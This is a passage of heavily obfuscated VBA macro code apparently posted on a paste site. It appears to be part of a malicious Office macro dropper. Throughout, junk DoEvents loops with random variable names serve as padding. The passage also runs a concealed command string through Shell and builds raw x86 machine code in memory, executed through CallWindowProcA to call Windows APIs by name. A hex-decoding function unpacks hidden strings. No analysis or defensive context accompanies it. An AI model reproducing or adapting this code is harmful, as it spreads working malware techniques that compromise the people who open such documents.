  1025. Dim PlZJtWFF As Integer
  1026. PlZJtWFF = 1
  1027. Do While PlZJtWFF < 37
  1028. DoEvents: PlZJtWFF = PlZJtWFF + 1
  1029. Loop
  1030.  
  1031. Loop
  1032.  
  1033.  
  1034. Dim aPUdShSw As Integer
  1035.  
  1036. Dim PgMbroZH As Integer
  1037. PgMbroZH = 8
  1038. Do While PgMbroZH < 13
  1039. DoEvents: PgMbroZH = PgMbroZH + 1
  1040. Loop
  1041.  
  1042. aPUdShSw = 1
  1043. Do While aPUdShSw < 98
  1044.  
  1045. Dim gKlcJLcN As Integer
  1046. gKlcJLcN = 4
  1047. Do While gKlcJLcN < 82
  1048. DoEvents: gKlcJLcN = gKlcJLcN + 1
  1049. Loop
  1050.  
  1051. DoEvents: aPUdShSw = aPUdShSw + 1
  1052.  
  1053. Dim hIqqeHPz As Integer
  1054. hIqqeHPz = 4
  1055. Do While hIqqeHPz < 38
  1056. DoEvents: hIqqeHPz = hIqqeHPz + 1
  1057. Loop
  1058.  
  1059. Loop
  1060.  
  1061.  
  1062. Dim YHEPQlxP As Integer
  1063. YHEPQlxP = 7
  1064. Do While YHEPQlxP < 59
  1065. DoEvents: YHEPQlxP = YHEPQlxP + 1
  1066. Loop
  1067.  
  1068.     gffUYUdfg = Shell(xTysdfsdf, 1)
  1069.  
  1070. End Sub
  1071.  
  1072. Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  1073. On Error Resume Next
  1074.     Dim qfzpguEnn                As Long
  1075.     Dim MoJQl(&HEC00& - 1)  As Byte
  1076.     Dim kVazolfxuRnLRN                   As Long
  1077.     Dim drMOYicFVoIcVLr                As Long
  1078.    
  1079.     drMOYicFVoIcVLr = GetProcAddress(LoadLibraryA(sLib), sMod)
  1080.     If drMOYicFVoIcVLr = 0 Then Exit Function
  1081.    
  1082.     qfzpguEnn = VarPtr(MoJQl(0))
  1083.     RtlMoveMemory ByVal qfzpguEnn, &H59595958, &H4:              qfzpguEnn = qfzpguEnn + 4
  1084.     RtlMoveMemory ByVal qfzpguEnn, &H5059, &H2:                  qfzpguEnn = qfzpguEnn + 2
  1085.     For kVazolfxuRnLRN = UBound(Params) To 0 Step -1
  1086.         RtlMoveMemory ByVal qfzpguEnn, &H68, &H1:                qfzpguEnn = qfzpguEnn + 1
  1087.         RtlMoveMemory ByVal qfzpguEnn, CLng(Params(kVazolfxuRnLRN)), &H4:     qfzpguEnn = qfzpguEnn + 4
  1088.     Next
  1089.     RtlMoveMemory ByVal qfzpguEnn, &HE8, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1090.     RtlMoveMemory ByVal qfzpguEnn, drMOYicFVoIcVLr - qfzpguEnn - 4, &H4:         qfzpguEnn = qfzpguEnn + 4
  1091.     RtlMoveMemory ByVal qfzpguEnn, &HC3, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1092.     CallApiByName = CallWindowProcA(VarPtr(MoJQl(0)), 0, 0, 0, 0)
  1093.    
  1094. End Function
  1095.  
  1096.  
  1097.  
  1098. Public Function HexToString(ByVal fdgfdg As String) As String
  1099.  
  1100. Dim saXhzQRf As Integer
  1101.  
  1102. Dim AsaWEeJQ As Integer
  1103. AsaWEeJQ = 9
  1104. Do While AsaWEeJQ < 95
  1105. DoEvents: AsaWEeJQ = AsaWEeJQ + 1
  1106. Loop
  1107.  
  1108. saXhzQRf = 6
  1109. Do While saXhzQRf < 63
  1110.  
  1111. Dim uEwhEcvl As Integer
  1112. uEwhEcvl = 5
  1113. Do While uEwhEcvl < 58
  1114. DoEvents: uEwhEcvl = uEwhEcvl + 1
  1115. Loop
  1116.  
  1117. DoEvents: saXhzQRf = saXhzQRf + 1
  1118.  
  1119. Dim qigHUldm As Integer
  1120. qigHUldm = 6
  1121. Do While qigHUldm < 92
  1122. DoEvents: qigHUldm = qigHUldm + 1
  1123. Loop
  1124.  
  1125. Loop
  1126.  
  1127.  
  1128. Dim qoszHkCE As Integer
  1129. qoszHkCE = 6
  1130. Do While qoszHkCE < 36
  1131. DoEvents: qoszHkCE = qoszHkCE + 1
  1132. Loop
  1133.  
  1134.    
  1135. For y = 1 To Len(fdgfdg)
  1136.  
  1137. Dim tFnNYKOY As Integer
  1138.  
  1139. Dim HcNVlSAv As Integer
  1140. HcNVlSAv = 2
  1141. Do While HcNVlSAv < 88
  1142. DoEvents: HcNVlSAv = HcNVlSAv + 1
  1143. Loop
  1144.  
  1145. tFnNYKOY = 5
  1146. Do While tFnNYKOY < 51
  1147.  
  1148. Dim rLybywOl As Integer
  1149. rLybywOl = 5
  1150. Do While rLybywOl < 23
  1151. DoEvents: rLybywOl = rLybywOl + 1
  1152. Loop
  1153.  
  1154. DoEvents: tFnNYKOY = tFnNYKOY + 1
  1155.  
  1156. Dim icNaqkcw As Integer
  1157. icNaqkcw = 5
  1158. Do While icNaqkcw < 67
  1159. DoEvents: icNaqkcw = icNaqkcw + 1
  1160. Loop
  1161.  
  1162. Loop
  1163.  
  1164.  
  1165. Dim ollADlmP As Integer
  1166. ollADlmP = 6
  1167. Do While ollADlmP < 66
  1168. DoEvents: ollADlmP = ollADlmP + 1
  1169. Loop
  1170.  
  1171.     ytrefgdg = Mid(fdgfdg, y, 2)
  1172.  
  1173. Dim asALdhkZ As Integer
  1174.  
  1175. Dim FFAMiPFk As Integer
  1176. FFAMiPFk = 2
  1177. Do While FFAMiPFk < 58
  1178. DoEvents: FFAMiPFk = FFAMiPFk + 1
  1179. Loop
  1180.  
  1181. asALdhkZ = 4
  1182. Do While asALdhkZ < 16
  1183.  
  1184. Dim FPMwPPQY As Integer
  1185. FPMwPPQY = 2
  1186. Do While FPMwPPQY < 67
  1187. DoEvents: FPMwPPQY = FPMwPPQY + 1
  1188. Loop
  1189.  
  1190. DoEvents: asALdhkZ = asALdhkZ + 1
  1191.  
  1192. Dim KgDXGYbO As Integer
  1193. KgDXGYbO = 3
  1194. Do While KgDXGYbO < 35
  1195. DoEvents: KgDXGYbO = KgDXGYbO + 1
  1196. Loop
  1197.  
  1198. Loop
  1199.  
  1200.  
  1201. Dim lteFyztg As Integer
  1202. lteFyztg = 7
  1203. Do While lteFyztg < 84
  1204. DoEvents: lteFyztg = lteFyztg + 1
  1205. Loop
  1206.  
  1207.     ortvcvsdf = ortvcvsdf & Chr(Val("&h" & ytrefgdg))
  1208.  
  1209. Dim tHmmjsyR As Integer
  1210.  
  1211. Dim QavyhQdk As Integer
  1212. QavyhQdk = 2
  1213. Do While QavyhQdk < 75
  1214. DoEvents: QavyhQdk = QavyhQdk + 1
  1215. Loop
  1216.  
  1217. tHmmjsyR = 5
  1218. Do While tHmmjsyR < 51
  1219.  
  1220. Dim mNZFTaPL As Integer
  1221. mNZFTaPL = 8
  1222. Do While mNZFTaPL < 54
  1223. DoEvents: mNZFTaPL = mNZFTaPL + 1
  1224. Loop
  1225.  
  1226. DoEvents: tHmmjsyR = tHmmjsyR + 1
  1227.  
  1228. Dim SBRTfOXU As Integer
  1229. SBRTfOXU = 2
  1230. Do While SBRTfOXU < 23
  1231. DoEvents: SBRTfOXU = SBRTfOXU + 1
  1232. Loop
  1233.  
  1234. Loop
  1235.  
  1236.  
  1237. Dim fHMcRtAd As Integer
  1238. fHMcRtAd = 6
  1239. Do While fHMcRtAd < 71
  1240. DoEvents: fHMcRtAd = fHMcRtAd + 1
  1241. Loop
  1242.  
  1243.     y = y + 1
  1244. Next y
  1245.  
  1246.  
  1247. Dim UbhGGPXv As Integer
  1248.  
  1249. Dim WxlBeZYY As Integer
  1250. WxlBeZYY = 3
  1251. Do While WxlBeZYY < 75
  1252. DoEvents: WxlBeZYY = WxlBeZYY + 1
  1253. Loop
  1254.  
  1255. UbhGGPXv = 1
  1256. Do While UbhGGPXv < 79
  1257.  
  1258. Dim EwcYkKro As Integer
  1259. EwcYkKro = 9
  1260. Do While EwcYkKro < 68
  1261. DoEvents: EwcYkKro = EwcYkKro + 1
  1262. Loop
  1263.  
  1264. DoEvents: UbhGGPXv = UbhGGPXv + 1
  1265.  
  1266. Dim oHIFEsDI As Integer
  1267. oHIFEsDI = 6
  1268. Do While oHIFEsDI < 61
  1269. DoEvents: oHIFEsDI = oHIFEsDI + 1
  1270. Loop
  1271.  
  1272. Loop
  1273.  
  1274.  
  1275. Dim KGDxLZpp As Integer
  1276. KGDxLZpp = 3
  1277. Do While KGDxLZpp < 31
  1278. DoEvents: KGDxLZpp = KGDxLZpp + 1
  1279. Loop
  1280.  
  1281. HexToString = ortvcvsdf
  1282. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement